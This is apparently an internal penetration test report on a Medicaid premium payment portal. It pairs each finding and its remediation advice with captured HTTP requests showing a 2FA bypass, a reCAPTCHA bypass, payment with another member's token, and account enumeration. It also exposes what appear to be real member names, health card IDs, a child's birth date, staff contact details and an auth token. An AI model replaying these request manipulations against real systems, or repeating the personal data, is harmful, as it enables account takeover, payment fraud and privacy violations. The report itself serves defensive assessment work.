|  |  |
| --- | --- |
| **Information Security Department** | **Application Security Review** |

***This form is provided for solutions, frameworks, systems, technologies, projects, or processes that Application Security has been asked to assess or review as part of the overall Information Security program. This Application Security Review Form provides a method of documenting and communicating that a formal Application Security assessment and review has been completed, and that the solution, framework, system, technology, project, or process may move forward, be installed, or be implemented within the Anthem business environment.***

|  |  |
| --- | --- |
| **Application / System Name** | GOFUNDHIP |
| **Date** | 5/31/2019 |
| **Requesting Team or Organization** | Shopper Portals |
| **Primary Security Team** | Application Security |
| **Target Area or Primary Users** | Third-Party Payment Users |
| **Advisor Responsible for Review** | Jacob A. Thompson, Security Analyst III, Application Security |
| **Technology Team POC(s)** | Rajkumar Ganesan, Engineer III, Shopper Experience – Portal  Sri Hari Prasath Swaminathan, Shopper Experience - Portal |
| **Business Team POC(s)** |  |
| **Vendor POC** |  |
| **Application Tracker ID** | AppID #: 933 BIT#: PHLDR0010956 |
| **Assessment Type** | Manual Penetration Test (MPT) |

|  |
| --- |
| Table of Contents  [*High-Risk Findings* 4](#_Toc10703664)  [H1 – Security Control Bypass – 2FA – Open 4](#_Toc10703665)  [H2 – Weak Password Policy – Open 5](#_Toc10703666)  [H3 – Security Control Bypass - Recaptcha – Open 7](#_Toc10703667)  [H4 – Privilege Escalation – Open 9](#_Toc10703668)  [*Medium-Risk Findings* 13](#_Toc10703669)  [M1 – Account Enumeration – Open 13](#_Toc10703670)  [M2 – Information Exposure through Caching – Open 16](#_Toc10703671)  [M3 – Frameable Response/Clickjacking – Open 17](#_Toc10703672)  [*Low-Risk Findings* 19](#_Toc10703673)  [L1 – Missing Safeguard: Cross-Site Scripting Protection Header – Open 19](#_Toc10703674)  [L2 – Error Conditions, Return Values, Status Codes – Open 21](#_Toc10703675)  [L3 – Missing Safeguard: HTTP Strict Transport Security (HSTS) Header – Open 22](#_Toc10703676)  [L4 – Missing Safeguard: Content-Type Options Header – Open 24](#_Toc10703677)  [L5 – Sensitive Information Disclosure – Open 25](#_Toc10703678)  [L6 – Missing Safeguard: Cache Controls Not Set – Open 26](#_Toc10703679)  [*Informational Findings* 27](#_Toc10703680)  [I1 – Cross Origin Resource Sharing (CORS) – Open 27](#_Toc10703681) |

|  |
| --- |
| **Introduction** |
| **Executive Summary**  This is a point-in-time assessment of the GOFUNDHIP application asserted by the development team through online meeting reviews of the proposed solution set. During testing, it was identified that functionality existed allowing for username enumeration, and the ability to bypass security controls such as reCaptcha and two-factor authentication. Additionally, users are able to submit payments utilizing other accounts stored payment methods and bypass Anthem approved password policy.  **Technical Use Case**  The purpose of the GOFUNDHIP Payment Portal application is to cater to third-party organizations, allowing them make monthly premium payments for Indiana Medicaid users. The third-party users may select to submit payment via stored or one-time only credit cards, savings, or checking accounts. |

**Findings**

# *High-Risk Findings*

|  |  |
| --- | --- |
| H1 – Security Control Bypass – 2FA – Open | |
| CVSS Score and Link | [7.5](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-841: Improper Enforcement of Behavioral Workflow |
| Affected Systems | /paymentgateway/loginservices/v1/gbd/account/otp/send  /paymentgateway/loginservices/v1/gbd/account/otp/validate |
| Description | The software implements an authentication technique, but it skips or incorrectly validates a step that weakens the technique. In this case, the application can be manipulated to send one time passcodes for user authentication to phone numbers and emails not associated with the users account. |
| Recommendations | Issue a validation check that ensures the user has properly followed all required steps and security checks prior to allowing access to a resource or performing business functions. Additionally, base64 data is easily reversible to identify data. As such, it’s recommended that proper encryption techniques be utilized to ensure data is not exposed. |
| Retest Notes |  |
| The below snippets demonstrate that the functionality used for sending and validating a user’s one time passcode can be manipulated and bypassed. To accomplish this, the “usernm” parameter value of the header can be replaced with the attackers base64 encoded username value with the first 5 letters appended. This instructs the application to use the attacker’s channel (text, call, or email) instead of the logged in users.  **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/otp/send HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  usernm: WNpbmc=anRyY  [SNIP]  Pragma: no-cache  Cache-Control: no-cache  {  "channel": "text"  } |   **HTTP Response 1:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 18:13:41 GMT  [SNIP]  Content-Language: en-US  Connection: close  Content-Length: 71  {"secureAuthResponse":{"adhocOTPAudit":{"status":"valid"},"count":"4"}} |   **HTTP Request 2:**  The attacker must also replace the usernm value during the validation process in order to successfully bypass 2FA.   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/otp/validate HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  usernm: WNpbmc=anRyY  [SNIP]  Cache-Control: no-cache  {  "otp": "953502"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 17:58:12 GMT  [SNIP]  Content-Length: 227  {"valid":"true","secureAuthResponse":{"throttleAudit":{"status":"found"},"validateOtpAudit":{"status":"valid","message":"5/30/2019 5:57:50 PM"},"usersAudit":{"status":"found"}},"validateOtpToken":"WNpbmd2YWxpZGF0ZW90cA==anRyY"} | | |

|  |  |
| --- | --- |
| H2 – Weak Password Policy – Open | |
| CVSS Score and Link | [7.3](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) |
| CWE | CWE-521: Weak Password Requirements |
| Affected Systems | /paymentgateway/gofundhip/secure/v1/gbd/account/changePassword  /paymentgateway/loginservices/v1/gbd/account/changePassword |
| Description | The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts. |
| Recommendations | Phase (Architecture and Design) - Enforce usage of strong passwords.  At a minimum per Anthem's security policy (IAM.41-P05.S23), the following password maintenance requirements apply to the creation, use, and maintenance of passwords associated with eBusiness customer accounts:   * Minimum Password Length - eight (8) Characters * Password should be case sensitive * Password history retention - Not Required * Number of different character sets required (alphabetic, numeric) – two (2) * Password cannot be the same as the Username * Password cannot contain 3 or more consecutive characters of the Username. * Password cannot consecutively repeat a character or number more than twice. * Password cannot contain spaces. * Password cannot contain invalid characters.   Passwords must be masked when entered on the screen. |
| Retest Notes |  |
| The below HTTP requests and responses were modified to break the current password policies. In this case, the password included a space, and the application continued to process as a valid password for the account.  **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/gofundhip/secure/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/sgofundhip/secure/changePassword  [SNIP]  Cache-Control: no-cache  {  "currentPassword": "password1",  "newPassword": "password 1992"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:41:56 GMT  [SNIP]  Connection: close  Content-Length: 21  {"changeStatus":true} |   **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundhip/resetpassword  [SNIP]  {  "userName": [SNIP]  "currentPassword": "tycqmod6",  "newPassword": "password 1995"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:46:17 GMT  [SNIP]  Connection: close  Content-Length: 21  {"changeStatus":true} | | |

|  |  |
| --- | --- |
| H3 – Security Control Bypass - Recaptcha – Open | |
| CVSS Score and Link | [7.2](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) |
| CWE | CWE-603: Use of Client-Side Authentication |
| Affected Systems | /paymentgateway/loginservices/v1/gbd/register/createuser |
| Description | By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses. This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors. |
| Recommendations | Issue a validation check that ensures the user has properly followed all required steps and security checks prior to allowing access to a resource or performing business functions. |
| Retest Notes |  |
| By removing the disabled attribute from the button, a user is able to register a new account while bypassing the reCAPTCHA challenge. This is demonstrated in the below image and request/response snippets.  **Image Caption**: Using developer tools, an attacker may remove the disabled attribute from the register button, allowing for form submission.    **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/register/createuser HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Cache-Control: no-cache  {  "userName": "mytestaccount",  "password": "[SNIP]",  "firstName": "[SNIP]",  "lastName": "[SNIP]",  "orgName": "Test",  "orgType": "WHIP\_TPG",  "phoneNumber": "317[SNIP]",  "emailAddress": "[SNIP]",  "secretQuestionAnswers": [  {  "question": "What school did you attend for the third grade?",  "answer": "[SNIP]"  },  {  "question": "What is your maternal grandmother's maiden name?",  "answer": "[SNIP]"  },  {  "question": "What is the first name of your favorite childhood friend?",  "answer": "[SNIP]"  }  ],  "validateToken": "[SNIP]",  "validateOtpToken": "[SNIP]",  "validateSecureToken": "[SNIP]"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 18:31:46 GMT  [SNIP]  Connection: close  Content-Length: 25  {"createUserStatus":true} | | |

|  |  |
| --- | --- |
| H4 – Privilege Escalation – Open | |
| CVSS Score and Link | [7.1](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N) |
| CWE | CWE-272: Least Privilege Violation |
| Affected Systems | /paymentgateway/gofundhip/secure/v1/gbd/payments/submittransaction  /paymentgateway/loginservices/v1/gbd/account/searchUser  /paymentgateway/loginservices/v1/gbd/account/getUserIdDetails  /paymentgateway/loginservices/v1/gbd/account/getChannelDetails |
| Description | The application allows users to access resources that they should not have permission to access. This is due to improper authorization of user requests. The application relies on the assumption that the user will request only those portions they are authorized to access, rather than validating and authenticating every user request. |
| Recommendations | The application should perform server-side authorization for all requests. Do not assume that a request is permissible because the request comes from an authenticated user. It is also necessary to verify that the user making the request has the necessary privileges (is authorized) to make such a request. Unauthorized requests should be denied. Do not rely on client-side values or code to decide which functionality is available to users; users can manipulate client-side data and functionality. Such functionality should be validated by querying a session object, database, or some other information that users cannot directly modify. Developers should treat client-supplied input as untrusted and not rely on presentation logic to provide higher-level privileges. Logic running on the server should be used to determine a user's role and present the appropriate browser screens. Hiding or disabling functionality solely within the user interface is not secure.  References:  OWASP Top 10 A7 – Missing Function Level Access Control ([https://www.owasp.org/index.php/Top\_10\_2013-A7-Missing\_Function\_Level\_Access\_Control)](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) |
| Retest Notes |  |
| The below HTTP requests and responses demonstrate an unauthorized user submitting payments for a non-associated member. An attacker is able to utilize another member’s payment tokenID, and append the attacker’s username to the account in order to complete this transaction.  **HTTP Request:**  The attacker has replaced the tokenID field with another user’s payment ID, and inserted their own username to bypass security checks.   |  | | --- | | POST /paymentgateway/gofundhip/secure/v1/gbd/payments/submittransaction HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  {  "memberpaySubmitPayments": [  {  "childHealthCardId": "751M56029",  "planID": "",  "paymentAmount": "$5.99"  }  ],  "newPaymentMethod": false,  "payMetFutureUse": false,  "paymentType": "BANKINGACCOUNT",  "bankAccountType": "PERSONAL\_CHECKING",  "orgName": "Test",  "tokenId": "RTU2QUEyMzFDN0Q3ODVGRUMzOUMxRTRDQzQxMTktanRyYWNpbmc0OA==M0M3",  "paymentDate": "2019-05-31"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 18:56:20 GMT  [SNIP]  Content-Length: 151  [{"memberId":"Dione Robinson 751M56029","paymentAmount":"5.99","confirmationNumber":"201905313463976","paymentDate":"2019-05-31","resMessageCode":"0"}] |   The below HTTP requests and responses demonstrate the application provides functionality allowing for sensitive information to be exposed regarding a user’s data.  **searchUser:**  A user is able to submit an individual username and retrieve back sensitive details about the account; including email, name, phone number, user role, organization name, and security questions.  **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/searchUser HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundhip/forgotpasswordsecurityques  [SNIP]  {  "userName": "WNpbmc=anRyY"  } |   **Http Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 18:13:57 GMT  [SNIP]  Content-Length: 863  {"user":{"emailAddress":"[SNIP]","username":"WNpbmc=anRyY","firstName":"[SNIP]","lastName":"[SNIP]","phoneNumber":"[SNIP]","repositoryEnum":"IAM","userRoleEnum":"GOFUNDHIP","userAccountStatus":{"disabled":false,"locked":true,"forceChangePassword":false,"badSecretAnsCount":0,"badPasswordCount":15,"lastLoginTime":null,"comments":null,"userNameValid":false,"secretQuestionValid":false},"memberOf":[],"ssoID":[],"secretQuestionAnswers":[{"question":"What school did you attend for the third grade?","answer":null,"encrypted":true,"questionValid":true},{"question":"What is your maternal grandmother's maiden name?","answer":null,"encrypted":true,"questionValid":true},{"question":"What is your paternal grandfather's first name?","answer":null,"encrypted":true,"questionValid":true}],"orgType":"WHIP\_TPG","orgName":"Test","authFlag":true}} |   **getUserIdDetails (from forgotpassword and forgotusername functions):**  **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/getUserIdDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  {  "firstName": "[SNIP]",  "lastName": "[SNIP]",  "phoneNumber": "[SNIP]",  "emailAddress": "[SNIP]"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 18:13:29 GMT  [SNIP]  Content-Length: 121  {"user":{"username":"[SNIP]","firstName":"J[SNIP]","lastName":"T[SNIP]","phoneNumber":"3[SNIP]","authFlag":true}} |   **getChannelDetails:**  **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/getChannelDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  {  "userName": "WN[SNIP]yY"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Thu, 30 May 2019 17:57:19 GMT  [SNIP]  Content-Length: 125  {"user":{"emailAddress":"[SNIP]","username":"W[SNIP]Y","phoneNumber":"31[SNIP]3","authFlag":false}} | | |

# *Medium-Risk Findings*

|  |  |
| --- | --- |
| M1 – Account Enumeration – Open | |
| CVSS Score and Link | [6.5](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-204: Response Discrepancy Information Exposure |
| Affected Systems | /paymentgateway/loginservices/v1/gbd/account/validateRegisterUserDetails  /paymentgateway/loginservices/v1/gbd/account/changePassword  /paymentgateway/gofundhip/secure/v1/gbd/payments/updateMember |
| Description | The software provides different responses to incoming requests in a way that allows an actor to determine if usernames or other sensitive data is currently registered with the application. This can be accomplished with the functionality found in validateRegisterUserDetails, updateMember and changePassword. |
| Recommendations | Ensure that error messages and HTTP responses only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. |
| Retest Notes |  |
| **validateRegisterUserDetails:**  Functionality used for registering for a new account validates if a username, email, or phone number is currently enrolled. If the information exist in the database, an error message is presented to the user stating that the information is already stored. This allows an attacker to determine potential targets for attack. Production of the error message is present in the below image and HTTP request & response.  **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Cache-Control: no-cache  {  "userName": "jtracing48",  "emailId": "jacob.thompson22@anthem.com",  "phoneNo": "3179822012",  "userId": "jtracing480528141553"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 28 May 2019 18:16:06 GMT  [SNIP]  Connection: close  Content-Length: 62  {"userNameFound":true,"emailIdFound":false,"phoneNoFound":false} |   **Image Caption:**  The below image indicates to the user that the username, email, or phone number is already stored in the database.    **changePassword:**  While navigating through the change password functionality, an attacker may modify the username field of the JSON request in order to produce a reveling error message. If the username is registered with the application, a “wrong password” error message will be produced. Similarly, if the username is not registered, a “user not found” message is produced. These are demonstrated in the HTTP requests & response below.  **HTTP Request 1 (valid username):**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundhip/resetpassword  [SNIP]  Cache-Control: no-cache  {  "userName": "jtracing",  "currentPassword": [SNIP],  "newPassword": [SNIP]  } |   **HTTP Response 1:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 29 May 2019 19:57:42 GMT  [SNIP]  Content-Length: 57  {"errorMessage":"WRONGCURRPASSWORD","changeStatus":false} |   **HTTP Request 2 (invalid username):**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundhip/resetpassword  [SNIP]  Cache-Control: no-cache  {  "userName": "Testaccountforpassword",  "currentPassword": [SNIP],  "newPassword": [SNIP]  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 29 May 2019 20:00:33 GMT  [SNIP]  Content-Length: 52  {"errorMessage":"USERNOTFOUND","changeStatus":false} |   The below HTTP request and response demonstrates the applications error message being sent through the system. An attacker may capture this information and analyst it during a brute force attack to gain member information. This includes Member ID, First Name, Last Name, and Date of Birth.  **HTTP Request 3:**   |  | | --- | | POST /paymentgateway/gofundhip/secure/v1/gbd/payments/updateMember HTTP/1.1  [SNIP]  Referer: https://payment.sit2.va.anthem.com/sgofundhip/secure/addMember  [SNIP]  {  "healthCardId": "979M62506",  "firstName": "Linda",  "lastName": "Feaster",  "dateOfBirth": "03/08/2011",  "action": "ADD"  } |   **HTTP Response 3:**   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 28 May 2019 19:25:59 GMT  [SNIP]  Content-Length: 93  {"message":{"messageCode":"PP9004","messageText":"DOB is not matching"},"ackStatus":"Failed"} | | |

|  |  |
| --- | --- |
| M2 – Information Exposure through Caching – Open | |
| CVSS Score and Link | [4.7](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:P/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N) |
| CWE | CWE-524: Information Exposure Through Caching |
| Affected Systems | Systemic |
| Description | Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.  In the HTTP request, the application is setting Cache-Control to no-cache. However setting to no-store will resolve the issue.  **no-cache:** Forces caches to submit the request to the origin server for validation before releasing a cached copy.  **no-store:** The cache should not store anything about the client request or server response. |
| Recommendations | Applications should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content: - Cache-control: no-store - Pragma: no-cache |
| Retest Notes |  |
| The below HTTP request and response is an example of sensitive data being stored in the local cache. While Cache-Control is being set in the headers, its utilization of the “no-cache” option is still allowing for data to be stored after validation.  **HTTP Request:**   |  | | --- | | POST /paymentgateway/login/generateTokenWithSMHeaders HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Pragma: no-cache  Cache-Control: no-cache  {} |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 22 May 2019 19:32:27 GMT  [SNIP]  Content-Length: 483  {"authToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzcmloYXJpcHJhc2F0aDUzLWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1ODU1MzU0OH0.nvCu0Me65uIjorHx1BOvEdQ2YBr5PJIwzuqmDNY6mnI","userName":"srihariprasath53","userDn":"CN=srihariprasath53,OU=ePayments,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com","orgType":"WHIP\_TPS","orgName":"srihari","aciFlag":true,"recurringFlag":true,"relShpType":null,"relShpName":null,"userRole":null,"firstName":null,"lastName":null,"authFlag":true,"rules":null} |   **Image Caption:**  The below image shows the username and userDn values being stored on local disk storage. | |

|  |  |
| --- | --- |
| M3 – Frameable Response/Clickjacking – Open | |
| CVSS Score and Link | [4.7](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N) |
| CWE | CWE-693: Protection Mechanism Failure |
| Affected Systems | Systemic |
| Description | The applications allows itself to be loaded into a frame. Risk: If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page controlled by an attacker to load it within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.  References:   * OWASP: Clickjacking (<https://www.owasp.org/index.php/Clickjacking>) |
| Recommendations | There are two ways of fixing the Clickjacking vulnerability:   1. (RECOMMENDED) X-FRAME-OPTIONS Response Header: This header determines if the browser is allowed to render a page in a frame or an iframe. The application can thus make sure that the malicious websites are not loading its content inside their frames. There are 3 possible values for the header:    1. a. DENY - which denies framing of the content by all domains, including current site    2. b. SAMEORIGIN - only the current site can frame the content    3. c. ALLOW-FROM &lt;uri&gt; - which allows the specified URI to frame the content.   ALL the HTTP responses should have this header set to an appropriate value to prevent Clickjacking.  2. Content-Security-Policy Response Header: The 'frame-ancestors' directive in this header works in the same way as X-FRAME-OPTIONS header. It tells the browser whether to render the page in a frame/iframe or not. There are 3 possible values here as well:  a. 'none' - which prevents any domain from framing the content  b. 'self' - which allows only current site to frame the content  c. 'self','uri' - which allows the current site and the mentioned URI to frame the content.  References:   * Mozilla Developer Network (<https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options>) (<https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>) * OWASP (<https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet>) |
| Retest Notes |  |
| In the below example, the “register” page is framed exposing the vulnerability. This is demonstrated in the registration page, however the vulnerability exist throughout the application.  **Image Caption:**  The below image demonstrates the application being rendered within another webpage, allowing for clickjacking attacks.    **HTTP Request:**   |  | | --- | | GET /gofundhip/register HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Connection: close |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Mon, 20 May 2019 15:08:33 GMT  Last-Modified: Wed, 13 Mar 2019 10:53:40 GMT  ETag: "143fd-58d-583f79e53b500"  Accept-Ranges: bytes  Content-Length: 1421  Content-Type: text/html  Connection: close  [SNIP] | | |

# *Low-Risk Findings*

|  |  |
| --- | --- |
| L1 – Missing Safeguard: Cross-Site Scripting Protection Header – Open | |
| CVSS Score and Link | [3.7](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N) |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) |
| Affected Systems | Systemic |
| Description | The application does not fully utilize browser security controls to block suspected Reflected Cross Site Scripting (Reflected XSS) attacks. The tester observed that the application server's HTTP responses did not contain the X-XSS-Protection Header.  Risk:  Cross-site scripting (XSS) is a security exploit which allows an attacker to inject into a website malicious client-side code. This code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open Web Application Security Project (OWASP), XSS was the seventh most common Web app vulnerability in 2017. In the event an attacker can find a Cross Site Scripting vulnerability, Internet Explorer will, by default, attempt to rewrite the response in order to prevent the attack. In the past, research has revealed techniques to bypass the effectiveness of this control. However, this control represents an opportunity to improve the risk posture of the application.  References:  1. MSDN: The XSS Filter (<https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-iv-the-xss-filter/>)  2. OWASP Secure Headers Project (<https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers>)  3. Mozilla Developer Network Web Docs: X-XSS-Protection (<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection>) |
| Recommendations | Instead of allowing Internet Explorer to rewrite application responses, configure the XSS filter to block suspected XSS attacks. The HTTP 'X-XSS-Protection' response header is a feature of Internet Explorer, Chrome and Safari that stops pages from loading when they detect reflected cross-site scripting (XSS) attacks. Although these protections are largely unnecessary in modern browsers when sites implement a strong Content-Security-Policy that disables the use of inline JavaScript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support CSP. Configure the application to issue the following HTTP response header in all application responses:  X-XSS-Protection: 1; mode=block |
| Retest Notes |  |
| The below HTTP request and response demonstrates that the application is not setting the X-XSS-Protection header.  **HTTP Request:**   |  | | --- | | GET /sgofundhip/index.html HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundhip/  Cookie: [SNIP]  Connection: close |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:43:49 GMT  Last-Modified: Wed, 22 May 2019 13:37:09 GMT  ETag: "18550-3f4-5897a0fe16b40"  Accept-Ranges: bytes  Content-Length: 1012  Content-Type: text/html  Connection: close  <!DOCTYPE html>  [SNIP] | | |

|  |  |
| --- | --- |
| L2 – Error Conditions, Return Values, Status Codes – Open | |
| CVSS Score and Link | [3.1](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |
| CWE | CWE-389: Error Conditions, Return Values, Status Codes |
| Affected Systems | Systemic |
| Description | If a function in a product does not generate the correct return/status codes, or if the product does not handle all possible return/status codes that could be generated by a function, then security issues may result. |
| Recommendations | Generate a generic error page to handle 404 errors, as well as other unexpected server responses. Ensure that the generic error message page removes any platform or technology-related information from HTTP responses. |
| Retest Notes |  |
| The below image demonstrates the applications use of a default error message page when encountering a 500 error message response. In this message, details regarding the server type is reflected to the user.  **HTTP Request:**   |  | | --- | | GET /gofundhip/~ HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  [SNIP] |   **HTTP Response:**   |  | | --- | | HTTP/1.1 500 Internal Server Error  Date: Tue, 28 May 2019 15:35:40 GMT  Content-Length: 615  Connection: close  Content-Type: text/html; charset=iso-8859-1  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  <html><head>  <title>500 Internal Server Error</title>  </head><body>  <h1>Internal Server Error</h1>  <p>The server encountered an internal error or  misconfiguration and was unable to complete  your request.</p>  <p>Please contact the server administrator,  you@your.address and inform them of the time the error occurred,  and anything you might have done that may have  caused the error.</p>  <p>More information about this error may be available  in the server error log.</p>  <hr>  <address>IBM\_HTTP\_Server at payment.sit2.va.anthem.com Port 443</address>  </body></html> | | |

|  |  |
| --- | --- |
| L3 – Missing Safeguard: HTTP Strict Transport Security (HSTS) Header – Open | |
| CVSS Score and Link | [3.0](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:N) |
| CWE | CWE-319: Cleartext Transmission of Sensitive Information |
| Affected Systems | Systemic |
| Description | The application does not utilize the HTTP Strict Transport Security Header or HSTS Header to instruct browsers to not allow plain text submission of data to the application. The tester observed that the application&#39; s HTTP responses do not contain the HTTP Strict Transport Security (HSTS) Header.  Risk:  If a website accepts a connection through plain HTTP and redirects to HTTPS, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. This creates an opportunity for a man-in-the-middle attack, giving the attacker an avenue to steal information being submitted in plain text. The redirect could be exploited to direct visitors to a malicious site instead of the secure version of the original site. An attacker can modify clear text traffic (HTTP) to replace links to encrypted application resources (HTTPS). When a modified link is loaded by a user, the attacker communicates with the web application via encrypted protocols (HTTPS) on behalf of the user while maintaining unencrypted (HTTP) communication with the user. This technique is used to bypass the SSL certificate validation process and results in full disclosure of all information transmitted, including usernames, password and any PHI, PII or sensitive information. This is mitigated by the strict enforcement of SSL by the application through HTTP Strict Transport Security header or HSTS header, which informs the browser that it should never load a site using HTTP and should automatically convert all attempts to access the site using HTTP to HTTPS requests instead. The first time a site is accessed using HTTPS and it returns the Strict-Transport-Security header, the browser records this information, so that, until the expiration time specified by the HSTS header elapses, any future attempts to load the site using HTTP will automatically use HTTPS instead.  References:  1. OWASP: HTTP Strict Transport Security (<https://www.owasp.org/index.php/HTTP_Strict_Transport_Security>)  2. OWASP: Security Headers Project (<https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers>)  3. OWASP HTTP Strict Transport Security Cheat sheet (<https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet>) |
